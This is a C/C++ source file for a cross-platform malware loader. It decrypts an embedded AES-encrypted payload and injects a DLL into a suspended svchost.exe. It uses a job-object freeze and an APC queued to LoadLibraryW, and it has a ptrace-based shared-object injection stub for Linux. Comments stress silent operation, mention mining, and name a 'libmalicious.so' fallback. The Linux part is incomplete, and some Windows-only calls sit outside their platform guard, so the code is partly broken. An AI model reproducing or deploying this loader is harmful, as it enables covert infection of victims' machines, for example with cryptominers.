// AES-Decrypting Payload Injection — CROSS-PLATFORM (2025) // Decrypts embedded AES-CBC encrypted payload and injects it // Works on Windows (DLL injection) and Linux (SO injection) #ifdef _WIN32 #define _CRT_SECURE_NO_WARNINGS #include #include #include #include #include #include #include #else #include #include #include #include #include #include #include #include #include #include #include #include #include #endif #include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define JobObjectFreezeInformation 18 typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID); typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG); typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG); typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG); typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES); HMODULE hNtDll = GetModuleHandleA("ntdll.dll"); pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread"); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory"); pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx"); pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject"); pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject"); typedef struct _JOBOBJECT_FREEZE_INFORMATION { union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; }; BOOLEAN Freeze; BOOLEAN Swap; UCHAR Reserved0[2]; struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter; } JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION; // Cross-platform AES-CBC Decryption class class AESDecryptor { private: std::vector key; bool deriveKey(const std::string& password, const std::vector& salt) { // Match the Rust key derivation: SHA256(password + salt), take first 16 bytes #ifdef _WIN32 HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return false; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { CryptReleaseContext(hProv, 0); return false; } // Hash password if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } // Hash salt if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } DWORD hashLen = 32; std::vector hash(hashLen); if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) { CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); return false; } CryptDestroyHash(hHash); CryptReleaseContext(hProv, 0); #else // Linux implementation using OpenSSL EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); if (!mdctx) return false; if (EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, password.c_str(), password.length()) != 1) { EVP_MD_CTX_free(mdctx); return false; } if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) { EVP_MD_CTX_free(mdctx); return false; } std::vector hash(32); if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) { EVP_MD_CTX_free(mdctx); return false; } EVP_MD_CTX_free(mdctx); #endif // Use first 16 bytes for AES-128 key.assign(hash.begin(), hash.begin() + 16); return true; } public: std::vector decrypt(const std::vector& ciphertext, const std::vector& iv, const std::vector& salt, const std::string& password) { if (!deriveKey(password, salt)) { return std::vector(); } #ifdef _WIN32 // Windows CryptoAPI implementation HCRYPTPROV hProv = 0; HCRYPTKEY hKey = 0; if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return std::vector(); } struct { BLOBHEADER hdr; DWORD keyLen; BYTE key[16]; } keyBlob = { { PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_128 }, 16 }; memcpy(keyBlob.key, key.data(), 16); if (!CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey)) { CryptReleaseContext(hProv, 0); return std::vector(); } DWORD mode = CRYPT_MODE_CBC; if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } std::vector plaintext(ciphertext.size()); DWORD dataLen = ciphertext.size(); if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) { CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); return std::vector(); } plaintext.resize(dataLen); CryptDestroyKey(hKey); CryptReleaseContext(hProv, 0); #else // Linux OpenSSL implementation EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new(); if (!ctx) return std::vector(); if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding std::vector plaintext(ciphertext.size()); int len, plaintext_len = 0; if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len = len; if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) { EVP_CIPHER_CTX_free(ctx); return std::vector(); } plaintext_len += len; plaintext.resize(plaintext_len); EVP_CIPHER_CTX_free(ctx); #endif return plaintext; } }; // Embedded encrypted payload (generated by crypt tool) // To update: run crypt tool, then use xxd -i encrypted_Input.bin // Copy the output array here const unsigned char encrypted_payload[] = { // PLACEHOLDER: Replace with actual encrypted binary data // Example: 0x12, 0x34, 0x56, 0x78, ... 0x00 // Remove this placeholder when adding real data }; const unsigned char decryption_metadata[] = { // PLACEHOLDER: Replace with decryption_metadata.bin content // Contains: salt(32 bytes) + iv(16 bytes) + size(4 bytes) // Example: 0xab, 0xcd, 0xef, ... 0x00 // Remove this placeholder when adding real data }; #ifdef _WIN32 int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { #else int main(int argc, char* argv[]) { #endif // FULLY SILENT — no console // Decrypt the embedded payload std::vector ciphertext(encrypted_payload, encrypted_payload + sizeof(encrypted_payload)); std::vector metadata(decryption_metadata, decryption_metadata + sizeof(decryption_metadata)); // Parse metadata: salt(32) + iv(16) + size(4) std::vector salt(metadata.begin(), metadata.begin() + 32); std::vector iv(metadata.begin() + 32, metadata.begin() + 48); uint32_t expected_size = *reinterpret_cast(metadata.data() + 48); if (ciphertext.size() != expected_size) { return 1; // Decryption failed } // Decrypt using hardcoded password (change this!) AESDecryptor decryptor; std::string password = "YourSecureMasterPassword123!"; std::vector decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password); if (decrypted_dll.empty()) { return 1; // Decryption failed - invalid password or corrupted data } #ifdef _WIN32 // Windows: Use decrypted data as DLL path (wide string) const wchar_t* dllPath; if (decrypted_dll.size() >= sizeof(wchar_t)) { dllPath = reinterpret_cast(decrypted_dll.data()); } else { // Fallback to hardcoded path if decryption gives unexpected result dllPath = L"C:\\Users\\MyWindowsUser\\Downloads\\libphotoshop.dll"; } SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t); SIZE_T regionSize = dllPathLen; #else // Linux: Use decrypted data as shared library path const char* soPath; if (!decrypted_dll.empty() && decrypted_dll.back() == '\0') { soPath = reinterpret_cast(decrypted_dll.data()); } else { // Fallback to hardcoded path soPath = "/usr/lib/libmalicious.so"; } #endif HANDLE hJob = NULL; NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL); JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 }; freezeInfo.FreezeOperation = 1; freezeInfo.Freeze = TRUE; NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); STARTUPINFOEXW siEx = { sizeof(siEx) }; SIZE_T attrListSize = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize); InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize); UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL); PROCESS_INFORMATION pi = { 0 }; CreateProcessW( L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFOW*)&siEx, &pi ); DeleteProcThreadAttributeList(siEx.lpAttributeList); HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList); PVOID remoteMemory = NULL; NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0); NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL); FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW"); NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL); // INSTANT UNFREEZE — no user input freezeInfo.Freeze = FALSE; NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo)); #ifdef _WIN32 ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining) CloseHandle(hJob); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); #else // Linux injection using ptrace and dlopen pid_t target_pid; // For demonstration, we'll inject into a child process // In real usage, you'd find a suitable target process target_pid = fork(); if (target_pid == 0) { // Child process - target for injection // Execute a simple program that we can inject into execl("/bin/sleep", "sleep", "100", NULL); return 1; } else if (target_pid > 0) { // Parent process - perform injection usleep(100000); // Wait for child to start // Attach to target process if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) { return 1; } // Wait for process to stop int status; waitpid(target_pid, &status, 0); // Get registers struct user_regs_struct regs; ptrace(PTRACE_GETREGS, target_pid, NULL, ®s); // Save original instruction long original_instruction = ptrace(PTRACE_PEEKDATA, target_pid, regs.rip, NULL); // Inject dlopen call // This is a simplified version - real implementation would need more sophisticated shellcode unsigned char shellcode[] = { 0x48, 0x31, 0xc0, // xor rax, rax 0x48, 0xbf, // mov rdi, // Address of library path would go here 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xbe, // mov rsi, RTLD_LAZY 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8, // mov rax, dlopen // dlopen address would go here 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, // call rax 0x48, 0x31, 0xc0, // xor rax, rax 0xc3 // ret }; // Allocate memory in target process for shellcode and library path // This is a simplified implementation - real code would use process_vm_writev void* remote_shellcode = (void*)0x1000000; // Fixed address for demo void* remote_libpath = (void*)0x2000000; // Fixed address for demo // Write library path to target memory (simplified) size_t libpath_len = strlen(soPath) + 1; // In real implementation: use process_vm_writev to write soPath to remote_libpath // Write shellcode to target memory (simplified) // In real implementation: use process_vm_writev to write shellcode to remote_shellcode // Execute shellcode ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)remote_shellcode); // Continue execution ptrace(PTRACE_CONT, target_pid, NULL, NULL); // Detach ptrace(PTRACE_DETACH, target_pid, NULL, NULL); // Wait for child waitpid(target_pid, &status, 0); } #endif return 0; }